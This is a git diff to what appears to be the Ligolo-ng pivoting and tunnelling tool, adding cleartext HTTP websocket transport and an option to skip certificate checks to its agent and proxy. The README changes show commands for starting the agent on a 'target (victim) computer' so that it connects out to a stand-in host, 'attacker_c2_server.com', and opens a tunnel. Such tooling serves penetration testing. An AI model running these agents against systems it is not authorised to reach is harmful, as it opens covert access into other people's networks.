diff --git a/README.md b/README.md index 78df983..954d401 100644 --- a/README.md +++ b/README.md @@ -115,9 +115,15 @@ $ ./proxy -autocert # Automatically request LetsEncrypt certificates ``` ### TLS Options +#### Disabling TLS encription and using cleartext websockets (for debug purpuses) +```shell +$ ./proxy -laddr http://0.0.0.0:8080 # use cleartext http websocket +``` #### Using Let's Encrypt Autocert - +```shell +$ ./proxy -autocert -laddr https://0.0.0.0:443 # use https websocet + autocert +``` When using the `-autocert` option, the proxy will automatically request a certificate (using Let's Encrypt) for *attacker_c2_server.com* when an agent connects. > Port 80 needs to be accessible for Let's Encrypt certificate validation/retrieval @@ -172,7 +178,7 @@ Start the *agent* on your target (victim) computer (no privileges are required!) $ ./agent -connect attacker_c2_server.com:11601 ``` -Or you can start the *agent* on your target (victim) computer and connect via websocket: +Or you can start the *agent* on your target (victim) computer and connect via websocket (http or https): ```shell $ ./agent -connect https://attacker_c2_server.com:8443 diff --git a/cmd/agent/main.go b/cmd/agent/main.go index dd2b507..df1ca0f 100644 --- a/cmd/agent/main.go +++ b/cmd/agent/main.go @@ -36,11 +36,12 @@ var listenerID int32 func main() { var tlsConfig tls.Config + var ignoreCertificate = flag.Bool("ignore-cert", false, "ignore TLS certificate validation (dangerous), only for debug purposes") var verbose = flag.Bool("v", false, "enable verbose mode") var ech = flag.Bool("ech", false, "enable verbose mode") var retry = flag.Bool("retry", true, "auto-retry on error") - var retryTime = flag.Int("retryTime", 65, "auto-retry timeout in sec") + var retryTime = flag.Int("retryTime", 60, "auto-retry timeout in sec") var socksProxy = flag.String("proxy", "", "socks5/http proxy address (ip:port) "+ "in case of websockets it could be proxy URL: http://admin:secret@127.0.0.1:8080") var socksUser = flag.String("socks-user", "", "socks5 username") @@ -58,7 +59,7 @@ func main() { } if strings.Contains(*serverAddr, "https://") { - //websocket connection + //websocket https connection host, _, err := net.SplitHostPort(strings.Replace(*serverAddr, "https://", "", 1)) if err != nil { logrus.Info("There is no port in address string, assuming that port is 443") @@ -69,6 +70,15 @@ func main() { logrus.Warn("warning, certificate validation disabled") tlsConfig.InsecureSkipVerify = true } + } else if strings.Contains(*serverAddr, "http://") { + //websocket http connection + host, _, err := net.SplitHostPort(strings.Replace(*serverAddr, "http://", "", 1)) + if err != nil { + logrus.Info("There is no port in address string, assuming that port is 80") + host = strings.Replace(*serverAddr, "http://", "", 1) + } + tlsConfig.ServerName = host + } else { //direct connection host, _, err := net.SplitHostPort(*serverAddr) @@ -89,8 +99,9 @@ func main() { for { var err error - if strings.Contains(*serverAddr, "https://") || strings.Contains(*serverAddr, "wss://") { + if strings.Contains(*serverAddr, "http://") || strings.Contains(*serverAddr, "https://") || strings.Contains(*serverAddr, "wss://") { *serverAddr = strings.Replace(*serverAddr, "https://", "wss://", 1) + *serverAddr = strings.Replace(*serverAddr, "http://", "ws://", 1) //websocket err = wsconnect(&tlsConfig, *serverAddr, *socksProxy, *userAgent, *ech) } else { @@ -208,8 +219,16 @@ func wsconnect(config *tls.Config, wsaddr string, proxystr string, useragent str var ipaddr string var servername string var serverport string + var nossl bool var echConfigsList []tls.ECHConfig + if strings.Contains(wsaddr, "ws://") { + nossl = true + useECH = false + } else { + nossl = false + } + ctx, cancel := context.WithTimeout(context.Background(), time.Second*20) defer cancel() @@ -261,11 +280,19 @@ func wsconnect(config *tls.Config, wsaddr string, proxystr string, useragent str config.ClientECHConfigs = echConfigsList config.MinVersion = tls.VersionTLS10 - httpTransport = &http.Transport{ - MaxIdleConns: http.DefaultMaxIdleConnsPerHost, - TLSClientConfig: config, - Proxy: http.ProxyURL(proxyUrl), + if nossl { + httpTransport = &http.Transport{ + MaxIdleConns: http.DefaultMaxIdleConnsPerHost, + Proxy: http.ProxyURL(proxyUrl), + } + } else { + httpTransport = &http.Transport{ + MaxIdleConns: http.DefaultMaxIdleConnsPerHost, + TLSClientConfig: config, + Proxy: http.ProxyURL(proxyUrl), + } } + } httpClient := &http.Client{Transport: httpTransport} diff --git a/cmd/proxy/main.go b/cmd/proxy/main.go index 278f187..b4bed5b 100644 --- a/cmd/proxy/main.go +++ b/cmd/proxy/main.go @@ -44,9 +44,16 @@ func main() { MaxInflight: *maxInflight, }) + //check if cleartext websocket is used + nossl := false + if strings.Contains(*listenInterface, "http://") || strings.Contains(*listenInterface, "ws://") { + nossl = true + } + proxyController := proxy.New(proxy.ControllerConfig{ EnableAutocert: *enableAutocert, EnableSelfcert: *enableSelfcert, + DisableSSL: nossl, Address: *listenInterface, Certfile: *certFile, Keyfile: *keyFile, diff --git a/pkg/proxy/controller.go b/pkg/proxy/controller.go index 9f8a3fd..eb0d4ad 100644 --- a/pkg/proxy/controller.go +++ b/pkg/proxy/controller.go @@ -31,6 +31,7 @@ type Controller struct { type ControllerConfig struct { EnableAutocert bool EnableSelfcert bool + DisableSSL bool Address string Certfile string Keyfile string @@ -68,88 +69,90 @@ func (s myHttpServer) ServeHTTP(w http.ResponseWriter, r *http.Request) { func (c *Controller) ListenAndServe() { var tlsConfig tls.Config - if c.EnableAutocert { - // Enable letsencrypt - logrus.Info("Using Let's Encrypt ACME Autocert") - certManager := autocert.Manager{ - Prompt: autocert.AcceptTOS, - Cache: autocert.DirCache("ligolo-certs"), - } - if len(c.DomainWhitelist) > 0 { - certManager.HostPolicy = autocert.HostWhitelist(c.DomainWhitelist...) - } - tlsConfig.GetCertificate = certManager.GetCertificate - go func() { - h := certManager.HTTPHandler(nil) - logrus.Fatal(http.ListenAndServe(":http", h)) - }() - } else if c.EnableSelfcert { - logrus.Warning("Using automatically generated self-signed certificates (Not recommended)") - - tlsConfig.GetCertificate = func(info *tls.ClientHelloInfo) (*tls.Certificate, error) { - // Cache - c.certificateMutex.Lock() - if cert, ok := c.certificateMap[info.ServerName]; ok { - c.certificateMutex.Unlock() - return cert, nil + if !c.DisableSSL { + if c.EnableAutocert { + // Enable letsencrypt + logrus.Info("Using Let's Encrypt ACME Autocert") + certManager := autocert.Manager{ + Prompt: autocert.AcceptTOS, + Cache: autocert.DirCache("ligolo-certs"), } - c.certificateMutex.Unlock() - priv, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader) - if err != nil { - logrus.Fatal(err) + if len(c.DomainWhitelist) > 0 { + certManager.HostPolicy = autocert.HostWhitelist(c.DomainWhitelist...) } + tlsConfig.GetCertificate = certManager.GetCertificate + go func() { + h := certManager.HTTPHandler(nil) + logrus.Fatal(http.ListenAndServe(":http", h)) + }() + } else if c.EnableSelfcert { + logrus.Warning("Using automatically generated self-signed certificates (Not recommended)") + + tlsConfig.GetCertificate = func(info *tls.ClientHelloInfo) (*tls.Certificate, error) { + // Cache + c.certificateMutex.Lock() + if cert, ok := c.certificateMap[info.ServerName]; ok { + c.certificateMutex.Unlock() + return cert, nil + } + c.certificateMutex.Unlock() + priv, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader) + if err != nil { + logrus.Fatal(err) + } - serialNumberLimit := new(big.Int).Lsh(big.NewInt(1), 128) - serialNumber, err := rand.Int(rand.Reader, serialNumberLimit) - if err != nil { - return nil, err - } + serialNumberLimit := new(big.Int).Lsh(big.NewInt(1), 128) + serialNumber, err := rand.Int(rand.Reader, serialNumberLimit) + if err != nil { + return nil, err + } - template := x509.Certificate{ - SerialNumber: serialNumber, - Subject: pkix.Name{ - Organization: []string{info.ServerName}, - }, - NotBefore: time.Now(), - NotAfter: time.Now().Add(time.Hour * 24 * 365), - - KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature, - ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth}, - BasicConstraintsValid: true, - } + template := x509.Certificate{ + SerialNumber: serialNumber, + Subject: pkix.Name{ + Organization: []string{info.ServerName}, + }, + NotBefore: time.Now(), + NotAfter: time.Now().Add(time.Hour * 24 * 365), + + KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature, + ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth}, + BasicConstraintsValid: true, + } - if info.ServerName != "" { - template.DNSNames = []string{info.ServerName} - } + if info.ServerName != "" { + template.DNSNames = []string{info.ServerName} + } - derBytes, err := x509.CreateCertificate(rand.Reader, &template, &template, &priv.PublicKey, priv) + derBytes, err := x509.CreateCertificate(rand.Reader, &template, &template, &priv.PublicKey, priv) + + if err != nil { + return nil, err + } + finalCert := &tls.Certificate{ + Certificate: [][]byte{derBytes}, + PrivateKey: priv, + } + // Cache! + c.certificateMutex.Lock() + c.certificateMap[info.ServerName] = finalCert + c.certificateMutex.Unlock() + return finalCert, nil - if err != nil { - return nil, err } - finalCert := &tls.Certificate{ - Certificate: [][]byte{derBytes}, - PrivateKey: priv, + } else if c.Certfile != "" && c.Keyfile != "" { + cer, err := tls.LoadX509KeyPair(c.Certfile, c.Keyfile) + if err != nil { + logrus.WithFields(logrus.Fields{"certfile": c.Certfile, "keyfile": c.Keyfile}).Fatal("Could not load TLS certificate. Please make sure paths are correct or use -autocert or -selfcert options") } - // Cache! - c.certificateMutex.Lock() - c.certificateMap[info.ServerName] = finalCert - c.certificateMutex.Unlock() - return finalCert, nil - + tlsConfig.Certificates = []tls.Certificate{cer} + } else { + logrus.Fatal("No valid TLS configuration found, please use -certfile/-keyfile, -autocert or -selfcert options") } - } else if c.Certfile != "" && c.Keyfile != "" { - cer, err := tls.LoadX509KeyPair(c.Certfile, c.Keyfile) - if err != nil { - logrus.WithFields(logrus.Fields{"certfile": c.Certfile, "keyfile": c.Keyfile}).Fatal("Could not load TLS certificate. Please make sure paths are correct or use -autocert or -selfcert options") - } - tlsConfig.Certificates = []tls.Certificate{cer} - } else { - logrus.Fatal("No valid TLS configuration found, please use -certfile/-keyfile, -autocert or -selfcert options") } if strings.Contains(c.Address, "https://") { - //websocket listen + //websocket https listen listener, err := tls.Listen(c.Network, strings.Replace(c.Address, "https://", "", 1), &tlsConfig) if err != nil { logrus.Fatal(err) @@ -158,6 +161,42 @@ func (c *Controller) ListenAndServe() { close(c.startchan) // Controller is listening. logrus.Infof("Listening websocket on %s", c.Address) + s := &http.Server{ + Handler: myHttpServer{}, + //ReadTimeout: time.Second * 1, + //WriteTimeout: time.Second * 1, + } + for { + go func() { + err = s.Serve(listener) + //logrus.Infof("Temp debug... ") + }() + if err != nil { + logrus.Error(err) + //continue + } + //logrus.Infof("Temp debug... ") + //manual waiting until handler got connection and set wsconn variable + for { + if wsconn != nil { + logrus.Infof("Got websocket connection %s", wsconn.RemoteAddr()) + c.Connection <- wsconn + wsconn = nil + break + } + time.Sleep(time.Millisecond * 500) + } + } + } else if strings.Contains(c.Address, "http://") { + //websocket http listen + listener, err := net.Listen(c.Network, strings.Replace(c.Address, "http://", "", 1)) + if err != nil { + logrus.Fatal(err) + } + defer listener.Close() + close(c.startchan) // Controller is listening. + logrus.Infof("Listening websocket on %s", c.Address) + s := &http.Server{ Handler: myHttpServer{}, //ReadTimeout: time.Second * 1,